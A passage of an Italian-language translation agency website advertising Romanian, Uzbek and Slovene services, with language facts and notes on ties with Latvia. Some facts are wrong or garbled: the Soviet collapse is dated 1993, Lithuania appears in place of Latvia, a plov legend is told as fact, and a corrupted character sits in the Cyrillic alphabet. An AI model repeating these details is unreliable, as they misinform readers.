la sua grammatica presenti delle caratteristiche assenti in altre lingue romanze, è solitamente più semplice da imparare di russo, cinese o arabo. Se si vuole studiare il rumeno, internet offre molte risorse che, tuttavia, sono incomplete. La situazione è però sta lentamente migliorando. Il rumeno è una lingua abbastanza sonora e, dato che tutte le parole si pronunciano come sono scritte, è anche semplice da leggere e parlare. DOVE E IN QUANTI PARLANO RUMENO? Il rumeno è la lingua madre di circa 24 milioni di persone e in Moldavia si chiama ufficialmente moldavo. Esso è lingua ufficiale in Romania e in Moldavia ed è una delle lingue ufficiali dell'Unione Europea. Oltre a questi due paesi, il rumeno è parlato principalmente in Ungheria, Serbia e Ucraina. Ma è utilizzato anche in Francia, Italia, Spagna, Regno Unito, Austria, Belgio, Portogallo, Cipro, Canada (in particolare a Montréal), Stati Uniti settentrionali (soprattutto Chicago), Germania, Israele, Australia e Nuova Zelanda, dove le comunità rumene si sono insediate per motivi politici quando, prima della Seconda guerra mondiale, ci furono flussi migratori da Bucarest. Una nuova ondata migratoria iniziò dopo la caduta del regime di Ceaușescu quando, specialmente dopo l’entrata della Romania nell’Unione Europea nel 2007, gli abitanti delle aree urbane emigrarono in Italia, Spagna, Portogallo, Quebec e Argentina. Il numero di parlanti di rumeno raggiunse il suo picco nel 1990. Da allora, come conseguenza del naturale calo di cittadini rumeni e moldavi, della loro emigrazione all’estero, nonché del parziale acculturamento dei cittadini residenti al di fuori dei confini di Romania e Moldavia, questo numero è calato. Attualmente si contano circa 19 milioni di parlanti di rumeno in Romania (75% del totale) e circa 2,6 milioni di parlanti in Moldavia. Secondo il censimento del 2002, il rumeno è la lingua madre del 90% della popolazione rumena. I NOSTRI INTERPRETI E TRADUTTORI DI RUMENO Il nostro team di interpreti e traduttori di rumeno si occupa sia della traduzione scritta di documenti standard sia di traduzioni certificate da un notaio. Inoltre, l’agenzia di traduzione Skrivanek Baltic si occupa anche della revisione e della correzione stilistica dei testi in rumeno, come anche di correzione di bozze e di controlli terminologici. I nostri linguisti specializzati in rumeno possono informarvi sulle differenze culturali, sul comportamento da tenere coni vostri partner commerciali rumeni, ma anche sulla storia e sulle tradizioni di questa nazione. L'agenzia di traduzione Skrivanek fornisce servizi di traduzione da e verso il rumeno di contenuti per l’e-commerce, di siti web, di slogan pubblicitari, di materiali di marketing e di testi di natura legale. Dato lo sviluppo delle relazioni economiche tra Romania e Lettonia, offriamo anche servizi di traduzione nei campi dell’attrezzatura e della tecnologia, della finanza, della medicina, della comunicazione, delle relazioni pubbliche, dei trasporti, dei software e dei computer, della scienza, dell’agricoltura dei veicoli, dell’industria, delle scienze naturali, del commercio al dettaglio, della tecnologia, ma anche traduzioni di documenti per l’Unione europea, Per i privati offriamo traduzioni di documenti d'identità, di certificati di matrimonio, di certificati di nascita, di documenti relativi all’istruzione o alla formazione, di passaporti, di documentazione medica, e di tanto altro. IL RUMENO NEL COMMERCIO Come lingua commerciale, il rumeno è utilizzato principalmente in Romania e in Moldavia. Per intessere relazioni commerciali con imprenditori rumeni, potrebbe rivelarsi utile conoscere qualche frase in rumeno. Essi di solito usano l’italiano, il tedesco e l’inglese per stabilire relazioni commerciali. I partner principali della Romania sono quelle nazioni dell’Unione europea a cui essa esporta componenti auto e prodotti cerealicoli. Parlando della Lettonia, dalla Romania essa importa principalmente prodotti del settore alimentare (41,90%), macchine e meccanismi, attrezzatura elettrica (29,53%) e prodotti del settore chimico (9. 84%). COOPERAZIONE BILATERALE TRA ROMANIA E LETTONIA Il 5 luglio del 2022 a Riga è stato aperto il Consolato onorario della Romania, il quale è diretto da Ileana Adriana Rutman, console rumena onoraria in Lettonia. Lo scopo del Consolato è quello di rafforzare le relazioni politiche, economiche e culturali tra Romania e Lituania, così da poter aiutare i cittadini rumeni in Lettonia, come anche tutti quei lettoni che vogliono conoscere, visitare o iniziare la loro attività in Romania. L’Accademia d’arte della Lettonia coopera con due università rumene nel contesto del Programma di apprendimento permanente Erasmus+: l’Università Babeș-Bolyai a Cluj-Napoca e l’Università nazionale d’arte di Bucarest. L'Accademia di cultura lettone collabora con la Romania nell'ambito del programma Erasmus+. Essa ha un accordo bilaterale con l'Università Alexandru Ioan Cuza. Inoltre, le due nazioni cooperano attivamente anche nell’ambito della scrittura. La Casa degli Scrittori Internazionali e Traduttori di Ventspils ha collaborato con il Port Cultural Cetate, il quale accoglie con piacere i cittadini lettoni. Tra gli altri, anche Liana Langa e Peteris Cedrins sono stati qui. Nel giugno del 2017, il Nuovo teatro di Riga ha ospitato uno spettacolo intitolato Brodskis/Barishnikovs(Brodskis/Barišņikovs) durante il Festival Internazionale del Teatro di Sibiu. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO IL RUMENO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a rumeno; da rumeno a lettone; da estone a rumeno; da rumeno a estone; da lituano a rumeno; da inglese a rumeno; da rumeno a inglese; da russo a rumeno; da rumeno a russo; da ceco a rumeno; da rumeno a ceco; da polacco a rumeno; da rumeno a polacco; da rumeno a ucraino; da rumeno a spagnolo; da spagnolo a rumeno; da tedesco a rumeno; da rumeno a tedesco; da italiano a rumeno; da rumeno a italiano; da francese a rumeno; da rumeno a francese; da danese a rumeno; da rumeno a danese; da norvegese a rumeno; da rumeno a norvegese; da svedese a rumeno; da rumeno a svedese; da finlandese a rumeno; da rumeno a finlandese, ma anche tante altre. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO IL RUMENO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a rumeno; da rumeno a lettone; da estone a rumeno; da rumeno a estone; da lituano a rumeno; da inglese a rumeno; da rumeno a inglese; da russo a rumeno; da rumeno a russo; da ceco a rumeno; da rumeno a ceco; da polacco a rumeno; da rumeno a polacco; da rumeno a ucraino; da rumeno a spagnolo; da spagnolo a rumeno; da tedesco a rumeno; da rumeno a tedesco; da italiano a rumeno; da rumeno a italiano; da francese a rumeno; da rumeno a francese; da danese a rumeno; da rumeno a danese; da norvegese a rumeno; da rumeno a norvegese; da svedese a rumeno; da rumeno a svedese; da finlandese a rumeno; da rumeno a finlandese, ma anche tante altre. --- > Traduzioni generali e specialistiche in lingua uzbeka, interpretazione, localizzazione e altre soluzioni in lingua uzbeka. - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-uzbeku-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO L’UZBEKO QUANTO COSTANO LE TRADUZIONI DA E VERSO UZBEKO? Il prezzo dei servizi di traduzione da/verso l’uzbeko è determinato singolarmente per ogni ordine ed è composto da diverse componenti secondo il listino prezzi vigente dell'agenzia di traduzione Skrivanek. Questi fattori sono: la quantità di materiale da tradurre, le scadenze della traduzione, le caratteristiche del testo di partenza, le ripetizioni, l'elaborazione grafica, la formattazione del testo, il servizio di revisione del testo, ma influiscono nel costo anche qualsiasi altro servizio scelto dal cliente. È DISPONIBILE IL LISTINO PREZZI PER LE TRADUZIONI? Sì, il listino prezzi per i servizi di traduzione, interpretazione, localizzazione e adattamento da e verso l’uzbeko è parte integrante dell’accordo di collaborazione che stipuliamo con i nostri clienti. Prima di iniziare il progetto di traduzione, i project manager di Skrivanek preparano sempre informazioni dettagliate sul prezzo dell’ordine. Il costo è diverso per ogni progetto ed è calcolato sulla base del listino prezzi corrente di Skrivanek, il quale tiene conto, tra gli altri, del numero delle parole nel testo di partenza e delle ripetizioni. Volete sapere quanto costa tradurre i vostri documenti? Mandateci un’e-mail con il materiale da tradurre! Avete bisogno di un servizio di traduzione da/verso il uzbeko? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua uzbeka: Traduzione di documenti in uzbeko Interpretazione simultanea in uzbeko Validazione linguistica di traduzioni in uzbeko Interpretazione consecutiva in uzbeko Trascrizione in uzbeko Grafica e composizione tipografica in uzbeko Servizi di voice over e di sottotitolaggio in uzbeko Servizi di selezione di staff uzbeko Marketing multiculturale in uzbeko Gestione di documenti in uzbeko Servizi di deposizione in uzbeko Servizi di data room virtuali in uzbeko Supporto per l'e-learning in uzbeko Cercate un servizio linguistico in uzbeko? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole QUALCHE FATTO SULLA LINGUA UZBEKA E SULL’UZBEKISTAN C’è stato un tempo in cui l’uzbeko si trovava al centro del mondo: c’erano vie della seta che portavano a Samarcanda, Bukhara e Kokand e carovane di cammelli viaggiavano verso queste città magiche trasportando con sé beni di valore e oro. Sono migliaia le culture che sono fiorite in Uzbekistan e ciò ha lasciato un’impronta sulla cultura, architettura, tradizioni e arte di questo paese. Per questa ragione l’Uzbekistan è senza dubbio la nazione dell’Asia centrale più bella e spettacolare. L’uzbeko (Oʻzbek tili) è una lingua turcica appartenente alla famiglia linguistica delle lingue altaiche ed è l'unica lingua ufficiale dell'Uzbekistan. Ma sono numerosi anche i parlanti nel Turkmenistan orientale, nel Kazakistan meridionale, nel Tagikistan occidentale e settentrionale, nell’Afghanistan settentrionale, in Pakistan e in Cina. L’uzbeko è anche una delle lingue di lavoro ufficiali dell’Organizzazione degli stati turchi. In esso si può riscontrare un influenza proveniente dal russo e dal Tagico e, anche se indiretta, anche dall’arabo. L’Uzbeko è diviso in due dialetti principali: l’uzbeko meridionale e occidentale (il kipchak-uzbeko è praticamente un dialetto del kazako). Non esiste un ente ufficiale per la regolamentazione della lingua uzbeka. In Uzbekistan i media sono controllati dallo stato e non c’è la libertà di stampa. La cucina nazionale uzbeka è eclettica: mischia i sapori e le tradizioni di quei paesi le cui rotte commerciali hanno attraversato l’Uzbekistan per secoli. Il suo piatto nazionale è il plov ed è stato inventato dai cuochi di Alessandro magno. La stretta di mano è accetta solo tra uomini. Di fatti, gli uomini salutano le donne facendo un inchino e premendo la loro mano destra sul loro petto. Le arti applicate uzbeke sono caratterizzate da ceramiche dipinte e da ricami ornamentali. Nella provincia di Bukhara si pratica ancora un tipo di ricamo raffinato caratterizzato dall’uso di fili d’oro. Le tre stazioni metropolitane di Tashkent hanno soffitti e colonne di marmo, incisioni d’oro e candelabri meravigliosi. Esse non sono soltanto alcune delle più belle stazioni del mondo, ma anche il maggiore sistema ferroviario dell’Asia centrale. L'ALFABETO UZBEKO Nella sua storia, l’uzbeko è stato scritto con diversi alfabeti. Quando gli arabi invasero l’Uzbekistan nell’VIII secolo, le tribù nomadi turche si convertirono all’Islam. Di conseguenza, l’uzbeko utilizzò l’alfabeto arabo-persiano per secoli prima che l’Unione sovietica lo sostituì con l”alfabeto latino alla fine degli anni ‘20. In quel periodo, erano utilizzati i dialetti di Tashkent e di Fergana, ossia delle città principali, al posto dell’Uzbeko standard. Tuttavia, all’inizio degli anni ‘40 del novecento, la campagna di russificazione portò all’abolizione dell’alfabeto latino a favore di quello cirillico. In seguito, dopo il crollo dell’Unione sovietica nel 1993, per facilitare il commercio e per migliorare le relazioni con le nazioni straniere l”alfabeto latino fu reintrodotto e dichiarato alfabeto ufficiale dal governo uzbeko. Oggi l”uzbeko è una delle poche lingue dell’Asia centrale ad usare questo alfabeto. Nel 2018 è stato presentato un altro progetto di riforma dell’alfabeto in cui si propone di sostituire i digrafi Ch, Sh, Gʻ, Oʻ rispettivamente con oç, ş ş, Ğ ğ, Ŏ ŏ. Un anno dopo, nel 2019, è stato pubblicata un’altra bozza di riforma. L’ultimo progetto di riforma della lingua è stato pubblicato nel 2021, quando il governo Uzbeko annunciò un passaggio completo dall’alfabeto cirillico a quello latino. Nonostante ciò, l’uso del cirillico è ancora molto diffuso, specialmente nelle pubblicità e nella segnaletica. Nei giornali si possono trovare articoli con alfabeti misti, con magari il titolo in latino e il resto dell’articolo in cirillico. L”alfabeto arabo invece non è più utilizzato, se non simbolicamente in alcuni testi o in chagatai (l’uzbeko antico) negli studi accademici. Alfabeto uzbeko latino: А а, B b, D d, Е е, F f, G g, H h, I i, J j, K k, L l, М m, N n, О о, P p, Q q, R r, S, Т t, U u, V v, X x, Y y, Z z, Oʻ oʻ, Gʻ gʻ, Sh sh, Ch ch, Ng ngʼ. Alfabeto uzbeko cirillico А а, Б б, В в, Г г, Д д, Е е, Ё ё, Ж ж, З з, И и, Й й, К к, Л л, М м, Н н, О, о, п, Рр, С с, Т т, У у, Ф ф, Х х, Ц ц, Ч ч, ↪Lu_42 ш, Ъ ъ, Ь ь, Э э, Ю ю, Я я, Ў ў, Қ қ. QUANTO È COMPLESSO L’UZBEKO? In termini di difficoltà di apprendimento, l’uzbeko è considerato una lingua di categoria 2. Essa presenta delle differenze linguistiche e culturali significative rispetto le lingue europee più popolari. Sono necessarie almeno 44 settimane o 1100 ore di studio per diventare fluenti in questa lingua. Tuttavia, il suo apprendimento sarà più semplice per gli studenti di lingua turca. DOVE E IN QUANTI PARLANO UZBEKO? Con circa 44 milioni di parlanti, di cui 34 milioni in Uzbekistan, circa 7 milioni in Afghanistan, 1,6 milioni in Pakistan e 5 milioni circa sparsi nel resto dell’Asia centrale, l’uzbeko è la seconda lingua turcica più parlata dopo il turco. I NOSTRI TRADUTTORI E INTERPRETI DI UZBEKO Skrivank Baltic fornisce servizi professionali di interpretazione in uzbeko, come anche traduzioni scritte, anche con certificazione notarile, da e verso l’uzbeko. Le traduzioni sono svolte da traduttori con molti anni di esperienza nel settore, nonché con conoscenza professionale dell’ambito di appartenenza del testo di partenza. La nostra esperienza garantisce quindi che le traduzioni siano coerenti con i rispettivi testi di partenza e che le informazioni in esse contenute siano comprensibili. I nostri correttori di bozze e revisori uzbeki si occuperanno del miglioramento stilistico e della correzione di bozze del testo. Per le persone fisiche e giuridiche nostre clienti forniamo servizi di interpretazione da e verso l’uzbeko in tribunale e in occasione di incontri di lavoro. Offriamo anche servizi di interpretazione simultanea su Zoom o su altre piattaforme online in occasione di riunioni o incontri di lavoro, ma saremo lieti di interpretare anche conferenze. Ci occupiamo anche di tradurre documentazione tecnica, siti web, contratti e contenuti per l’e-commerce da e verso l’uzbeko. Qualsiasi sia la richiesta del cliente troveremo il servizio e il linguista specializzato adatto a soddisfarla. Per i privati, eseguiamo traduzioni certificate da un notaio di documenti di identità, certificati di matrimonio, certificati di nascita, documenti relativi all’istruzione o alla formazione, ma anche di altra documentazione da e verso l”uzbeko. L’UZBEKO NEL COMMERCIO L’Uzbekistan ha una storia lunga e variegata. Quella che un fu tempo parte dell’antico Impero persiano, poi assoggettata da Gengis Khan e oppressa dall’Armata rossa, con circa 34,23 milioni di abitanti è oggi l’ex Repubblica sovietica dell’Asia centrale più popolosa. Soprattutto per quanto riguarda il gas, il cotone, l’olio, il carbone e i minerali importanti, l’importanza dell’Uzbekistan nell’economia mondiale sta crescendo. Questo paese è infatti il secondo maggiore esportatore di cotone del mondo. Come anche nei confinanti Kazakistan e Kirghizistan, il russo è ancora molto diffuso in Uzbekistan a causa dell’occupazione sovietica. Al giorno d’oggi, l’uzbeko è la lingua ufficiale della nazione ed è parlato dalla maggior parte dell’etnia uzbeka. Essa è inoltre una lingua importante della famiglia delle lingue turciche. Nonostante siano diversi gli uzbeki capaci di parlare sia uzbeko che russo, quest’ultimo ha un ruolo dominante nella scienza, nel commercio e negli affari. Entrambe le lingue sono insegnate a scuola dove a volte viene privilegiato l’uzbeko e altre il russo. Negli affari, l’uzbeko è utilizzato praticamente solo in Uzbekistan, dove è la lingua madre dei cittadini ed è utilizzato nella vita di tutti i giorni. Tuttavia, negli uffici è spesso il russo la lingua di lavoro. Quando si fanno affari con partner commerciali provenienti da altre nazioni, sono utilizzati il russo e l”inglese. LETTONIA E UZBEKISTAN L’Uzbekistan è uno dei più importanti partner di cooperazione in Asia centrale della Lettonia. Le relazioni diplomatiche tra Lettonia e Uzbekistan sono state stabilite il 3 novembre 1992. L'Ambasciata della Repubblica dell'Uzbekistan in Lettonia ha sede a Riga. L’Uzbekistan è il maggiore partner commerciale della Lettonia in Asia centrale. I due paesi cooperano nel settore del commercio, dell’agricoltura, forestale, delle tecnologie green e delle tecnologie dell’informazione (IT). Considerati gli sforzi per sviluppare la rete di collegamenti tra Asia e Europa, la cooperazione nell’ambito dei trasporti è importante per entrambe le nazioni. I due paesi cooperano con successo anche nel settore dell’istruzione. Le università lettoni offrono agli studenti uzbeki l'opportunità di studiare a all’interno dell’Unione Europea. Tra gli studenti stranieri nelle università lettoni, l’Uzbekistan è la seconda nazione più rappresentata, seconda solo all’India. I campi di studio più popolari sono quello della logistica, bancario e finanziario, delle scienze tecniche e della medicina. Gli studenti uzbeki beneficiano di borse di studio offerte dal governo lettone e partecipano a scuole estive organizzate dagli istituti di istruzione. Nel 2020, erano 1. 329 gli studenti uzbeki in Lettonia: il secondo gruppo di studenti più numeroso tra gli studenti stranieri. Il governo lettone assegna annualmente borse di studio a studenti e ricercatori dall’Uzbekistan. Per esempio, nell’anno accademico 2021/2022 ne sono state assegnate 6 per studio, 2 per fare ricerca presso le università e le organizzazioni della Lettonia e 10 per prendere parte a scuole estive internazionali. Colleghi uzbeki partecipano attivamente ad eventi organizzati dal Ministero dell’istruzione e della scienza lettone, promuovendo lo scambio di buone pratiche relative alle riforme dell’istruzione, alla digitalizzazione, allo sviluppo delle capacità dei giovani, come anche al controllo della qualità dell’istruzione. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO L’UZBEKO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Dal lettone all'uzbeko; dall'uzbeko al lettone; dall'estone all'uzbeko; dall'uzbeko all'estone; dal lituano al lituano; dal russo all'uzbeko; dall'uzbeko al russo; dal ceco all'uzbeko; dall'uzbeko al ceco; dal polacco all'uzbeko; dall'ucraino all'uzbeko; dall'uzbeko all'ucraino; dall'uzbeko allo spagnolo; dallo spagnolo all'uzbeko; dal tedesco all’uzbeko; dall’uzbeko al tedesco; dall’italiano all’uzbeko; dall’uzbeko all’italiano; dal francese all’uzbeko; dall’uzbeko al francese; dal danese all’uzbeko; dall’uzbeko al danese; dal norvegese all’uzbeko; dall’uzbeko al norvegese; dallo svedese all’uzbeko; dall’uzbeko allo svedese; dal finlandese all’uzbeko; dall’uzbeko al finlandese, dall’inglese all’uzbeko; dall’uzbeko all’inglese, ma anche molte altre. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO L’UZBEKO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Dal lettone all'uzbeko; dall'uzbeko al lettone; dall'estone all'uzbeko; dall'uzbeko all'estone; dal lituano al lituano; dal russo all'uzbeko; dall'uzbeko al russo; dal ceco all'uzbeko; dall'uzbeko al ceco; dal polacco all'uzbeko; dall'ucraino all'uzbeko; dall'uzbeko all'ucraino; dall'uzbeko allo spagnolo; dallo spagnolo all'uzbeko; dal tedesco all’uzbeko; dall’uzbeko al tedesco; dall’italiano all’uzbeko; dall’uzbeko all’italiano; dal francese all’uzbeko; dall’uzbeko al francese; dal danese all’uzbeko; dall’uzbeko al danese; dal norvegese all’uzbeko; dall’uzbeko al norvegese; dallo svedese all’uzbeko; dall’uzbeko allo svedese; dal finlandese all’uzbeko; dall’uzbeko al finlandese, dall’inglese all’uzbeko; dall’uzbeko all’inglese, ma anche molte altre. --- > Traduzioni generali e specializzate, interpretazione, localizzazione e altri servizi in lingua slovena. Richiedete un preventivo gratuito! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-slovenu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO LO SLOVENO QUANTO COSTANO LE TRADUZIONI DA E VERSO LO SLOVENO? Sono molti i fattori che concorrono a determinare il prezzo delle traduzioni da e verso lo sloveno: la quantità di materiale da tradurre, il formato, le scadenze, la specificità del contenuto del testo, le ripetizioni, la grafica, la revisione e qualsiasi altro servizio richiesto dal cliente (come ad esempio la certificazione notarile). È DISPONIBILE IL LISTINO PREZZI DEI SERVIZI DI TRADUZIONE? Volete sapere quanto costa tradurre i vostri documenti? Mandateci un’e-mail con il materiale da tradurre! Il listino prezzi dei servizi di traduzione scritta e orale, di localizzazione e adattamento da/verso lo Sloveno è incluso negli accordi di collaborazione che stipuliamo con i nostri clienti. Prima di iniziare il progetto di traduzione, i nostri project manager forniscono sempre informazioni dettagliate sul prezzo dell’ordine. Esso è diverso per ogni progetto ed è calcolato sulla base del listino prezzi corrente di Skrivanek, il quale tiene conto, tra gli altri, del numero delle parole nel testo di partenza e delle ripetizioni. Avete bisogno di un servizio di traduzione da/verso lo sloveno? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua slovena: Traduzione di documenti in sloveno Interpretazione simultanea in sloveno Validazione linguistica di traduzioni in sloveno Interpretazione consecutiva in sloveno Trascrizione in sloveno Grafica e composizione tipografica in sloveno Servizi di voice over e di sottotitolaggio in sloveno Servizi di selezione di staff sloveno Marketing multiculturale in sloveno Gestione di documenti in sloveno Servizi di deposizione in sloveno Servizi di data room virtuali in sloveno Supporto per l'e-learning in sloveno Cercate un servizio linguistico in sloveno? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole FATTI INTERESSANTI SULLA LINGUA SLOVENA La lingua slovena (slovenski jezik o slovenščina) è una lingua slava appartenente alla famiglia delle lingue indoeuropee. Essa è la lingua ufficiale della Slovenia e una delle lingue di lavoro ufficiali dell'Unione europea. Inoltre, lo sloveno appartiene al gruppo delle lingue slave meridionali ed è imparentata con il serbo-croato. È interessante notare che in alcune regioni della Slovenia, ossia in quelle più vicine ai confini dei paesi confinanti, sono parlate anche l'ungherese e l'italiano. Lo sloveno è spesso considerato la lingua slava più ricca in termini di dialetti, i quali hanno diversi livelli di comprensione reciproca. I dialetti dello sloveno sono sette e, a loro volta, sono suddivisi in cinquanta sottodialetti. Non è un caso infatti che gli sloveni abbiano un detto che dice "Ogni villaggio ha la sua voce"(Vsaka vas ima svoj glas), il quale riflette molto bene la diversità dialettale. Nonostante i dialetti siano molto eterogenei da un punto di vista di pronuncia, queste differenze non impediscono ai parlanti provenienti da regioni differenti di comprendersi l’un l’altro. Lo sloveno standard è principalmente utilizzato in presentazioni pubbliche ed eventi ufficiali. Le testimonianze scritte ritrovate dagli storici mostrano che lo sloveno ha iniziato la sua formazione attorno al X secolo e nel XVI secolo erano già stati scritti i primi 50 libri in questa lingua. Tra di essi figurano la prima grammatica e la traduzione della Bibbia. Dal medioevo fino alla caduta dell’Impero austro-ungarico del 1918, gli individui di classe sociale più elevata utilizzavano il tedesco, mentre i cittadini comuni parlavano lo sloveno. In questo periodo la lingua tedesca ha avuto una forte influenza su quella slovena, influenza visibile ancora oggi grazie ai numerosi germanismi presenti nella lingua slava. Durante la Seconda guerra mondiale la Slovenia fu occupata da tedeschi, italiani, ungheresi e croati. Insieme all'occupazione fu anche vietato l’uso della lingua slovena nelle scuole. In alcuni casi essa fu anche vietata negli spazi pubblici. Se a scuola gli studenti erano sorpresi parlare nella loro lingua madre, venivano colpiti con un bastone di legno, con un righello, o forzati a inginocchiarsi su un mucchio di mais. In questo periodo furono distrutti migliaia di libri sloveni, causando un danno irreparabile all’eredità culturale slovena. Dopo la seconda guerra mondiale la Slovenia divenne parte della Jugoslavia e lo sloveno divenne una delle sue lingue ufficiali. Era usata in praticamente tutti i contesti sociali, tranne che nell'esercito jugoslavo, dove era invece parlato il serbo-croato. In seguito, quando nel 1991 la Slovenia diventò indipendente, lo sloveno divenne la sua lingua ufficiale e iniziò ad essere utilizzato in tutti i settori. L'ALFABETO SLOVENO L'alfabeto sloveno è un alfabeto utilizzato per scrivere la lingua slovena. Esso è composto da 25 lettere e si basa sull'alfabeto latino con 3 lettere aggiuntive: Č, Š, Ž. Inoltre, nello scritto si usano anche tre digrafi: NJ, LJ e DŽ. Il numero totale di grafemi presenti nello sloveno scritto è ammonta quindi a 28. Ogni lettera, compresi i digrammi, ha il suo analogo in cirillico. QUANTO È DIFFICILE LA LINGUA SLOVENA? Dato che per scrivere si utilizza l’alfabeto latino, lo sloveno non è considerato una lingua complessa. Inoltre, a parte le lettere č, ž, š, le quali non sono comuni a molte altre lingue, questa lingua si pronuncia come si scrive. Tuttavia, in sloveno figurano anche parole prive di vocali che, inizialmente, potrebbero sembrare difficili da pronunciare, come ad esempio Trst (Trieste) e Črt (nome proprio di persona maschile). La sua grammatica è abbastanza semplice, dato che gli elementi della frase seguono un ordine logico e facile da capire. Per imparare lo sloveno non c’è niente di meglio che trovarsi in un contesto in cui esso è la lingua madre o in cui è utilizzato nella comunicazione di tutti i giorni. I materiali didattici per imparare lo sloveno non sono facilmente accessibili, ma l’apprendimento risulta più facile se si padroneggia il russo. DOVE E QUANTE PERSONE PARLANO SLOVENO? Sono circa 2,5 milioni i parlanti di Sloveno nel mondo. Essi si trovano principalmente in Slovenia, ma non mancano minoranze in Italia (90. 000 circa), in Austria (25. 000) e in Istria, nella Croazia occidentale, la quale confina con la Slovenia, ma anche nelle maggiori città croate come Fiume e Zagabria (11. 800-13. 100), nell’Ungheria sud-occidentale (3. 000-5. 000) e in Serbia (5. 000). I restanti (300. 000 circa), si trovano nel resto dell’Europa e del mondo, in particolare negli Stati uniti (specialmente in Ohio, dove ce ne sono circa 3. 400), in Canada, in Australia e in Sud Africa. I NOSTRI INTERPRETI E TRADUTTORI DI SLOVENO L’agenzia di traduzione Skrivanek Baltic fornisce traduzioni scritte di documenti, di complessi testi scientifici, ma anche traduzioni autenticate da un notaio. Ci occupiamo anche della correzione di bozze e del miglioramento stilistico dei testi in sloveno e, se necessario, della revisione e del controllo della terminologia. Più spesso, le aziende nostre clienti ci richiedono i seguenti servizi di traduzione: traduzioni di contenuti per l’e-commerce e homepage, di slogan pubblicitari, di materiali per il marketing e di etichette di prodotti in conformità agli standard UE. Per i privati, eseguiamo traduzioni di documenti di riconoscimento, di certificati di matrimonio, di certificati di nascita, di documenti relativi all’istruzione o alla formazione, di passaporti, di documentazione medica, ecc. LO SLOVENO NEL COMMERCIO La lingua slovena come lingua commerciale non è diffusa in tutto il mondo, ma viene utilizzata come lingua principale solo nel territorio della Slovenia. Inoltre, negli ultimi anni è cresciuta la tendenza ad instaurare relazioni commerciali al di fuori dalla Slovenia. Le lingue più parlate in quest’ambito sono quindi l'inglese e il tedesco. SLOVENI IN LETTONIA Accade spesso che gli studenti sloveni passino del tempo in Lettonia come studenti di scambio. Di fatti, l'Università della Lettonia e l'Università di Scienze 